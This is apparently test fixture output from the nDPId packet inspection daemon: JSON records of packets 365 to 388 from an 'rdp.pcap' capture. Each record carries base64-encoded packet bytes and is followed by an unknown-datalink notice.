+00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":365,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":387221,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gMUAAfwYpasCoAo6sEAK5DT3NDkebLJ\/5vP9qUBj5jhGyAAAXAwMAMAAAAAAAAABoZPu2V7WZbgBcgTXHSxDvhnT4CZYsqCZugOdyTJha964cL8vm5Rh3Wg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":365,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":366,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":387243,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/59HmyyfUBAf\/dX0AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":366,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":367,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":387469,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm8\/59HmyzUUBAf\/tW+AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":367,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":368,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":387546,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm8\/59HmyzUUBggAJnUAAAXAwMAOOAIO32NJwuhLQxdqLAcxie3DUuBra\/rmpYcaboDiKmwwmdzvIP21Zl5iVweYr1cudT80e9CdpOC"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":368,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":369,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":387615,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm8\/9xHmyzUUBggAJ7uAAAXAwMAOOAIO32NJwuicr4vYC4h1UYUX0o48Dcx3RhWEHDjGP9QqvrWmOzUrChpWj+c9j\/oyLoaB\/MYM+Zf"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":369,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":370,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":402786,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gMkAAfwYpacCoAo6sEAK5DT3NDkebLNT5vP9qUBj5jtv0AAAXAwMAMAAAAAAAAABpTXrvlY0uZGP2gpbpFxBJpyLpSFcPA+htM2NrXzBXUwVX3EOYUJ2fxA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":370,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":371,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":402844,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ABlHmy0JUBAf\/tUPAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":371,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":372,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":403080,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gM0AAfwYpaMCoAo6sEAK5DT3NDkebLQn5vP9qUBj5joBHAAAXAwMAMAAAAAAAAABqtxtVfwv0yGSHVyJ2V63eCyCFhsNRknRZobT2KPHoBY7a3tWxWpzdlg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":372,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02070{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":373,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":403281,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgNEAAfwYko8CoAo6sEAK5DT3NDkebLT75vP9qUBD5jnKlAAAXAwMGbwAAAAAAAABrNRMsVaDkxiYNSFvl8BVpNIzq1yUxOnB6AYOpwkyKHp8mYbKs43hXbT2i\/6OeNuv5zuQbzW0LFskaVwz6hmQJEzaoc2aMPOANP35mJnuZUSEp5jSdl3t001BtGjEnVfWczJXeZFAyZZtqBuLRezJ8ICsFqnYQYv8IWMKbzhM4aT4fJt18fjFGpS+53bAJDV1yNCaE1BxbKEoFahfhRjnscJqmgQSZcbBTUTTAOgwpcijDkKx\/XKqYsc36\/PD3FE4QLOCdXoz\/OqcRydsIGuhy2ZKLNDl\/pW6a+l1FZHGy+gxwWepT5pWP9fzx6xt9ZCbh\/wilNoEsatgZynFBqDDXTVCCO29OdAVZE4QSAPtyRv4EIk8Gg78uWnuV9ctp0eyIWhWFE05k+abwPbSe+cgPQEfxHwF0fwA3uH9+Ii7mK94NOO+Lyr7W8qGbcdDzwaKYAIP6H+vf4szT7dMjOiRj3mDh+JuB5BbHtAIabl2EOyHh2OAHESSk4VHGfKEBAgPlgKHp5QWU2szUiLh+memGgW2WgSahZFpFTquyIUXFgO2o5F3Q3J+bfey\/e6RXP6jlq\/sIN5kijSdM\/ddU6mI2avnc+8Qu6AqDl4Wd2O1QXkfwRsw47YyHdscDn77IVBkLPLWyoKzh9avjwq5Ldq0JWFCFW+FajWeQ5s1IRe9eYdkWPKhwip6BbB0c+4O7B71APvJ6whTPZb0oOK8o5M3SixY8nIEehr02\/SjkJy6Sa+Yv4HHZHR+A9u\/xDRuCs4yMsM7JWXK0d3ZKTLA+IOAwG3Ez0oC664J\/qtJ\/3rfZhVbLtnAv6jZdLjUy5XssyfXuYUEwO+iKsTZ6KhyB5b2deWHSDzX+cfcHSrRwU67pR0APBr5QJL8kc2RHI2htEMAl\/Ws\/F6iU4HfA5+czQucURUHINxnKwJJzllXFMo28aS23zJjdW4AxAsWXyNmOQBiPCb+GF1tKR872LKCJwySFWCpgmbgpHABUff2iOV9SD9KrMEuEVSyZTKOHG3+edS9lJ5EGIkQaGx5KJpRbv58zCUbLJp8bDVKtWGw9Stpf24o7tQy6jisWLsECgsu8K+hRWZkseUHj1fGWZtzOvKSDzyvkcUAHKGzgFz9dDzgAuCmYHXtAaIND9Vxk0nAK20DEmbR0hNFGIqFK33nMsyjN4akqvlTKjBuQnfjxPlv4GK3sjuE1UpGk3i40r8aj0gQxy\/AXHDf2UWWiiOEO4q+natC7MA3mHYvPwCK+ewHBTtmiYMX5IXHQ0QHSnNZIZiSiibosEhZJjZuKlNfepXEfTZ3KARhWOO\/DOeATdDcn4MW5EaEfUMPP5+dBwWfE7sRdxakUWGBb28V3B2N2FFpX9dlF8gL3gj9jHSpkXCl75Fe9MV8D39qJNSIcYroj8o1brx9SqhtPDBpoldIzfcPb6pAlu4AHnPJlw1hqKv81MzUjXkw0fKO16mhKvUMwVM1Ki5VDql0qPCKDLKQqFyAtfbh7pSyYECH+MnyKkEuYBkBpXcwg764TGULgwjshx+JMOBHzFdJAJlOLaRllHbzvdmrgLyU2KegUh2oomCqWKFZA0BeO3RnFey35qMkG+F\/2pCA3WrzJrH0nLPGPBIJgKVJQSe7SEcwDJ4zOCM4qM4uZ2FKzj3o+l8Ge8DHF2v8\/qCi\/3mqpk7sQ9tj3"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":373,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":374,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":403365,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ABlHmy0+UBAf\/tTaAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":374,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":375,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":403463,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9ABlHmzI3UBgf2HCvAAAXAwMAMOAIO32NJwujYKt0Ib5oYSLC06vS0pfRwrSek1mMRwBOK75lu\/2gUMQvH+M9Vlw\/RQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":375,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":376,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":403533,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgNUAAfwYoIMCoAo6sEAK5DT3NDkebMjf5vP9qUBj5jnboAAAcoU1zZMrCIuC\/\/DSpF1\/icUIHfxV017kAg4AmDKDYqXiXp5s8DY6PRgSV5xEeZbv4c8TTeh\/+JJBn\/oogsXwQefxnjfelVHJ\/GsYlubFBEh8hX9bCoLkhPTNyskXoPSFulhoNt8Fv9u7pSVWutWZMt5WBPGi1eLJzLXFBoNAs+sIvCJJMZiCSsEMBwiEePzFRzU5K\/+pKLri+1Qa7qsUC7Y34SghUYGZU0U06+cuqK7sSb58hppNL\/Ybvv9V2wgxaF2NCm3xhGcn3N7VtOAmTeZ15QyU+7XhtP8AxXKf3SREw+QjCYeftSfTTO0Dp3yrSKS\/TQpTbDbV34dIAi+QHA8VHCmlq3GkYQoHVQVdlfOXa9LSGgSCgyu5kvduZjoZR15yaAJflyozNq0X\/x+PQRDYKfQt37QYtWkDz+3YXJH9M7AsBQm6rDuPrwSKoCusA46YB3WnVbXNaOlH2aeiJxreXekQnRcajMoHvCh9GiCWmbnHev6SCP2Jx"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":376,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":377,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":403550,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gNkAAfwYpZcCoAo6sEAK5DT3NDkebM7L5vP9qUBj5jjzKAAAXAwMAMAAAAAAAAABs4V1UuVlavY+hGApPsUEsK32PKv0Iyu6E6woF1C0AmixXupgipRW3Ug=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":377,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":378,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":403587,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9AE5HmzOyUBAf9M47AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":378,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02067{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":379,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":403704,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgN0AAfwYkoMCoAo6sEAK5DT3NDkebM+f5vP9qUBD5jhHDAAAXAwMGbwAAAAAAAABtdLEJQ6NX3eIodo3SPB1FiHO1aqogB5ZsizRGMhzU7F5b+Y0ywI0PjTegAJgxUS79OvcpeLAVhobpTmRtGS7ysQqEiksgmBVRN4y7IMW7nur8yaK+TvEJBTRUc0EkTMbTOCnTzOmG6sNJ6CKh9sk3TUQycBSH2epMr0RDsh9OdpAyQmzwTyKloHEee3aDHj1kurwuE1IConAtQijhRG05A38LN68kbHcSnY7EAa9sujbKlY7ncfHN57SA0b2yAjeEbulgLsICJgnGiSFajNE3MyZ17VzheeBrHgQ1FUGFD42Ve4xVmwJ6xpAD3ULnl+JFGt3hadtuF9puzor3+tLv4dgU5k2We2HQnFhcGpqPpWjHZdmpLzxSGDppbanuVK4wP\/gT3zcPQ49R7L0U4RGKqKXo12l0Q35coFYLyXYA3hsmD0wxWUnttgqrVShBNvMC32h3u2lSX8pdNiJo8QZFUVzjlNSgbzmDQU+jOP+z+VmtWer8HvQ8JuDBuTMpEhCFDoxuC7S7a6VvNnwdecoF\/SaLmR9u\/DMxzKBbpa0wNxi7wzU9LMaWRclSJpk8aE8NRnoMyOZT3\/QXySzW+cmUUIqFmOJSJrqchgJNTvdWbhYxu\/5izykVeME477+MiueYGxZO+SIsANMOBl4uXJTabJ\/7+RhITlUO7wST9krfm0EHH1JSCqvmCe8coCZpdlv4vNw8q8E5dLgcnEk3A2uqu+F+zdFjql2hR+CqaKiCaP9StrbJPjyp8pcSXU5QPPbM9jgyN4naga7dxH8lPjdFkaB3zH2mi3ILTsOINHXtkTrDhWpsceCUBLNrlHWpt2DQgkUmL1XfWCxvyZzQivZneGfoA5QU07SW62Mqd9qAUp5TEjq7iuqFO8V2tgWVtJbM8yOP+93eGbdhZWoKnt\/Wm7LltEB1Kw4hsZHuxn9tGWypruvdpY3FKmms7KHqFqjHVK1riOgxsPh7t1jFo83XOExPZcJdhLM9u3UR3higc60AuTjUENbnerGShod5Y6DY0zbgbPTyz8tMNAt8EqjVcuWnm\/W\/BkVGHbzbrmicqWoaCRLiW04v+Ii1\/eLDOGKqoo03l4\/JpKmyJTNdNtHNyCvYZKRXnKgCflQW+14vDliGLF80bZme3QBR1T5PfhoRWg26OzGkYwYTcCwZK4+MCiY0LP4MiyQ8G66Xg79HTbEaA+5WM2jaKbWVeYc\/Ssy1i9IZyuTkVX8K2psWuyoIv6g93hYa0RoXY2UDegBvKcJWUn39Iea\/XCPTATEfyJyrJWJUeYkRsMszoXvc3Jl4Pt3PEBpWeftL+GmYjoM8zfgAOA2SLHvMXJi0sEHqjNZdSY6eEHvTcxOSaptH6PEsrulsfZFXp4EUoXjnZmqwSns8mcWI18eOUyOye2DaAP3+uwPYWE2NlqboZPOzbCBfGTU5GJnq5nFWjQPCiMmSlsa5Mpj05\/tRwKTrPvLyDid7EtxGCa+XoWSRaX8ZAPk2vmSbQvqMsvMhThFewmzfTluH6HqWI8qQkHGMAIusqG86Wud3pX\/bNu19yZoS3cdbGLx2jBDJXBGznmfwPgqM2\/g8LAmY\/W7a2bhEbc+da2X6lVm6OZrFXGThiXVcHzzULCRZmorOTIKfQzucI3QxrIQG9w9o6ev2nIZSu7aUuQolXRMuM9KQDkYX9pDv"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":379,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":380,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":403727,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9AE5HmzPnUBAf8s4IAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":380,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00867{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":381,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":403839,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgOEAAfwYoHcCoAo6sEAK5DT3NDkebOOD5vP9qUBj5jm+DAADNy5elyFVRcIBSHvv\/eI0ek9gqdU\/A8RWmDQb0e8ADXYHK3kxPdpALUd82YBAmVbI\/F23pcsVx\/761AtR9yLoAj4Johlm5bbYcwlDkCkoOZsLzzLKpuR+7i1XXmqPrC\/p3tcHb30Xe2NoJe97vQ4Q1ak50L+kHw7twGChm0QsrG1ZWiih+hCEgLsJdlnW6jkP4PZ6qrzyva6\/co+sBDh2s41jGrLPZavoOrav4cs+uihO4wy6zdSC8L7p5XZb8rHKRjAFjI4DTFs5+nJcHx3JrUT3B2wP1bWmF52oPT1sINnLSAbw+6GWQ9xJ+kCCnfODE59P1KQnRGFbwaYqkjIVYSSVYpdb1\/PUR2GcL4JsGZgaB+zMrEehjy1MLYFHs7bGdnBVDIn13IM7GfVmdvGH9KFpQOzFmJNKRpm\/uDfAvkCnaOA4IwYb2BWX7DFJwP\/UywVD+iSGPvKHJ8Tj1Uz84G3diUuTVCBvMYQ\/VjSon\/L9Gm6g2hsX3i4lV"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":381,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":382,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":403889,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9AE5HmzpbUBAf9MeSAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":382,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":383,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":404018,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9AE5HmzpbUBgf9MKlAAAXAwMAMOAIO32NJwukmh86ZQx3P+JyHAvFQ1nSGE91j7rDYLqIInd89fFANeMjwxcDIAPFww=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":383,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":384,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":404104,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gOUAAfwYpYsCoAo6sEAK5DT3NDkebOlv5vP9qUBj5jkVeAAAXAwMAMAAAAAAAAABu3Dj6FgDJ72vj6OzsTW6pjUhfYR0tdrAYbYXkd53CWTuTuYlJGQKojg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":384,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02067{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":385,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":404173,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgOkAAfwYkncCoAo6sEAK5DT3NDkebOpD5vP9qUBD5jp9EAAAXAwMGbwAAAAAAAABvfNWQIXDdrGuCc7VqT+ncMfo59IuF6CnUTb3ydU3zL+KEYiJPrmhyH\/E3rN5wbO44C7CCdW8yA5zkV+JPtuGJzJamuqUfNTX5bJEDEmw5eHeGCwaqXgOO0njxwW5+B8E\/SXCWPCQaddpZqXXKapgcb1w6yI6WO150Hwdq4hYoRzcRKI\/8HrWMKoiuq8ksMDrTYnp2Rcj2Ri3y9LxSWYEHJezAbFx5XK1znMOIrTDOe23Se4ipGeFZoZGHXnet0ggg+vQ735Pw2Hl\/k53rYPm7lhCB3m+nfL20zzNuf+cetppwom3cfywnRKBNgt2LYVncLnal9rIrt2ITu8Is77C8l0aRHPLwddYCpy9hqGSLOLCc2U0SF8ujz36kH8W2WSA0\/PMoFQyVxBdD1bDoLXApkUw9sH0JsIr5jvkQSJ6A6QiRLu1OdRgIdzz2WTYYY1olbakwXrI85RSA3HhNDxHqWVDxBmkPgOSIePyG\/2lmlAJXjIbqlp9q7fM18rbaaIaAcIDGZGGg8PX11dXq1j8YuZ1empz1td2N\/q9iNuaGTz6GSiao77gAOUkMbPMYS6kOGUNWC5THs2Vlcvf9JS+7RFK8l+XEtOv0EklNun1IBWcRCekd1NPrqznyFICwXAxL6KJy7EQwOQV8wDC5JN2iIeEoW2kudXo+3U9UZBDfkeDNGaOWtFXXKmegtT1QroseW2uAIEqT+QXYALDdiysWJSmm8rj7EzRKCJMDTQ6bPRNce66jMq6Qs4eC6q9\/HHfVe2x9yPmrx8qUv4QQi1hkvavuHhy0kXo0ed9yDpjSuoSuPyB6ZbJkoDCs\/XwrBM7mPW3u1poFKJXFJCOs9QPJ\/1UKOh2IHxf9vo77bjID7jP8nxv52hboxTonJswY81DUSLk9SgXswSzTLGXART34xQNYYAdzsdTiawjq0CG0Of6xOfqwz7bGjNYeOpMCygDIDrshEVg\/GAVWXcRXLAvRaDx0jBcr000Wf35xbNelsnRPsxZeOwnguRD7hP22g3P6x9W7TW1lrgc3+LtSM6PoOAhRXkuztJIlj6CM7x2bshIr0KxYDzak78j3BUy1ozaujOLKpMBEeoZOEvXXqaPeDPRVKGOpyVvNzHBF2zGRD8OHIG+OPhOezTVNdAo\/IMbpzvclAmFTlqs0lRvuKiy3CmcHhGX\/5P3XkO2FOsaLqogCNn\/D01+O7hg5oG3jco+kvyAB3vlcMe57XoUcjF1NCdt+SkKPLtxn+m0Nwcg0Xwvngobm4l32oDU\/irL2tPHZouC6yG1ylKUrSgmkzwjpP1mYz1rhLpXjBiN1u1L8pf7c4jHi5Uw\/qlMUV2C4KuH4YDuhYxwxt6rG0ostrygc3BRZOODlOrRnCtgZvrn8AaIPSAIh8bCoeGANUE+Ry0X9cxppu8u9OYz4AafZyOALKfrEMDV5zcL7Muw3o8AbxtdhYxoJqfVZnUGjCREDUW0heYD58HR0FgyqQWaW1oxyR6GvZZUqh9eZWg0xt2PWMEYlvpuFFAIHVhg7QwY6vVo0AHjuvXcB9bp\/JVc0fbAld1m0TBVnO5lz2hHB+2Qq4KxU7ufkchRsXLIOh3lMW+MelRAhfBqVZf0aM0v0k6qBALtiXHDT7jQr+b1O2hmQpUmpMxyb9RR9dUtVokIxBajJHVCYGiSkFQ1vt9GU"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":385,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":386,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":404221,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9AINHmzqQUBAf\/sceAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":386,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":387,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":404372,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9AINHmz+JUBggADMdAAAXAwMAMOAIO32NJwulePd+TTFA4YpMftGOhBHvTVO2Vn+7l00LTkQibq2ypJ54uKf4pV86iA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":387,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00858{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":388,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":428590,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgO0AAfwYoGsCoAo6sEAK5DT3NDkebP4n5vP9qUBj5jg1tAACsETdOWTo7TETTfiIzOyvxBrZmGatRouxN3H6uZNxoh90o3RzYNaNSMtFm0R4HR1LYu36Oha9WlBfbKTvczHxFiCUuH5szkmA9HDjA4DTVzS93H6uOgYoWQy2PuSKeIMhVcPZWmxbwd6f0brlH08iMq0NQslTO2yWQb274uB5FibHGFIW3+ahMq7JdvzQxWBKLRSBOpZCt9Xh7tRSrOxTp7FivG52X9n2lMO9dyqYKfLuEn4aizQKLyhA3mr1YZ2gIulvP1sddhgQx5oh9tQK7G9N5zWEw3ZJwxIZPSqHX96NrYxi51DViEabkxABJ9GQsXCB7ofIyRx\/1ZbCzNJdy8+lZzMjqz3aXI1UUpw+nXGhEhVxreuToLrvauy2y5fgoWyNpGYBgePV60ILWI1Sg5\/IRgGibqJOnvSLdEfwW428scZsW3ng70xbJja0DTpGWNCjA7EKGl9qnV3xwtLIqetbAL9nHw2tVeaMcfhubzc8CBBJmBqnFO64+"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":388,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 